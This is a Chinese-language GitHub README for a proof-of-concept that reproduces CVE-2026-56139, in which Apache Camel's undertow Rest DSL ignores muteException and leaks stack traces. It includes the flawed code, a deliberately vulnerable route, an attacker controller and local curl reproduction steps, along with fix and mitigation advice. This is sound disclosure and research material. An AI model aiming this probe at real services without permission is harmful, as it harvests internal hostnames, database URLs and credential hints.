oscerd/CVE-2026-56139
GitHub: oscerd/CVE-2026-56139
该项目复现了 Apache Camel undertow Rest DSL 中 muteException 配置被静默忽略、导致异常堆栈跟踪泄露给客户端的 CVE-2026-56139 信息泄露漏洞。
Stars: 0 | Forks: 0
# camel-undertow Rest DSL muteException 堆栈跟踪泄露复现项目 (CVE-2026-56139)
本项目演示了 Apache Camel 的 `camel-undertow` **Rest DSL**
consumer 中的一个**信息泄露**问题,编号为 **CVE-2026-56139**。`muteException` 选项用于控制是否将未捕获的处理
异常详情返回给 HTTP 客户端。在普通的 undertow endpoint 上,该选项有效——但
undertow **Rest DSL** 在创建其响应绑定时,将 `muteException` **硬编码为 false**,并且从未
复制配置的值,因此 `muteException` **在 REST 模式下被静默忽略**,
并仍然会返回完整的 Java 堆栈跟踪:
```
// UndertowComponent (affected 4.18.2) — the Rest DSL binding is created without the endpoint's muteException
if (!map.containsKey("undertowHttpBinding")) {
endpoint.setUndertowHttpBinding(new RestUndertowHttpBinding(endpoint.isUseStreaming())); // muteException stays false
}
```
由于 endpoint 的 `undertowHttpBinding` 现在非空,`UndertowEndpoint.getUndertowHttpBinding()` 会
原样返回该 Rest 绑定,并且从不执行将 endpoint 的 `muteException` 复制到其中的分支。因此,显式设置了 `muteException=true` 的路由在通过 Rest DSL 提供服务时,仍然会泄露堆栈跟踪——暴露了
内部后端主机名、数据库 URL、凭据/保险库提示、库版本以及源代码位置。
此 PoC 将其影响演示为**通过错误消息造成的信息暴露 (CWE-209)**。它是
CVE-2026-49365 的 Rest DSL 特定对应版本(后者更正了普通
camel-netty-http 和 camel-undertow endpoint 的 `muteException` 默认值);两者均在 CAMEL-23651 中被一并修复。
安全通告:
## 漏洞概述
| 属性 | 值 |
|----------|-------|
| **组件** | `camel-undertow` (Rest DSL consumer) |
| **受影响类** | `org.apache.camel.component.undertow.UndertowComponent` — 创建 `RestUndertowHttpBinding` 时未复制 `muteException` (因此默认为 false) |
| **CWE** | CWE-209 (生成包含敏感信息的错误消息) |
| **影响** | 即使配置了 `muteException=true`,也会将完整的 Java 堆栈跟踪返回给未经身份验证的客户端 |
| **前置条件** | 一个 undertow Rest DSL consumer;任何触发处理异常的请求 |
| **受影响版本** | 4.0.0 起至 4.14.8 之前,4.15.0 起至 4.18.3 之前,4.19.0 起至 4.21.0 之前 |
| **修复版本** | 4.14.8, 4.18.3, 4.21.0 |
| **JIRA** | CAMEL-23651 (PR [apache/camel#23913](https://github.com/apache/camel/pull/23913)) |
| **鸣谢** | Yu Bao (PayPal) |
## 受害者路由
```
// Both configured with muteException=true (camel.component.undertow.mute-exception=true):
restConfiguration().component("undertow").host("0.0.0.0").port(8888);
rest("/api").get("/orders").to("direct:boom"); // Rest DSL — IGNORES muteException, leaks
from("direct:boom").process(new FailingProcessor());
from("undertow:http://0.0.0.0:8889/plain/orders") // plain endpoint — HONOURS muteException, empty body
.process(new FailingProcessor());
```
## 仓库结构
```
CVE-2026-56139/
├── pom.xml # camel-undertow 4.18.2
├── Dockerfile
├── docker-compose.yml # single self-contained service
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── FailingProcessor.java # throws an exception carrying sensitive internal detail
│ ├── RestRoutes.java # undertow Rest DSL (:8888) + plain undertow endpoint (:8889)
│ └── ExploitController.java # attacker: GETs both, shows Rest DSL leaks while plain is muted
└── resources/
└── application.properties # camel.component.undertow.mute-exception=true
```
## 前置条件
- Docker 和 Docker Compose
- Java 17+ 和 Maven 3.8+
## 复现步骤
```
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
```
### 预期输出 (节选)
```
1) undertow Rest DSL :8888 (muteException=true, but the Rest binding hard-codes false)
HTTP 500
response body (NNNN bytes) — LEAKS internal detail:
| java.lang.IllegalStateException: Inventory lookup failed: cannot connect to
| jdbc:postgresql://prod-db.internal:5432/inventory (user=svc_inventory, ...)
| at com.example.FailingProcessor.process(FailingProcessor.java:...)
| ...[truncated]
2) plain undertow endpoint :8889 (same muteException=true — honoured)
HTTP 500
response body:
>>> Information disclosure: true
```
## 推荐修复
升级至 **4.14.8 / 4.18.3 / 4.21.0** (CAMEL-23651)。升级后,undertow Rest DSL 将遵循
`muteException` (并将其默认为 `true`),因此不会返回堆栈跟踪。
## 缓解措施
在升级之前,请添加 `onException(...).handled(true)` (或全局错误处理器) 来返回通用的
消息以代替堆栈跟踪,并且不要仅依赖 `muteException` 来处理 undertow Rest DSL consumer。
## 免责声明
此复现项目仅用于**安全研究和授权测试**,针对的是**已公开披露且已修复**的
漏洞。未经明确许可,请勿将其用于任何系统。
标签:Apache Camel, CWE-209, JS文件枚举, PoC, 信息泄露, 域名枚举, 暴力破解, 漏洞复现, 请求拦截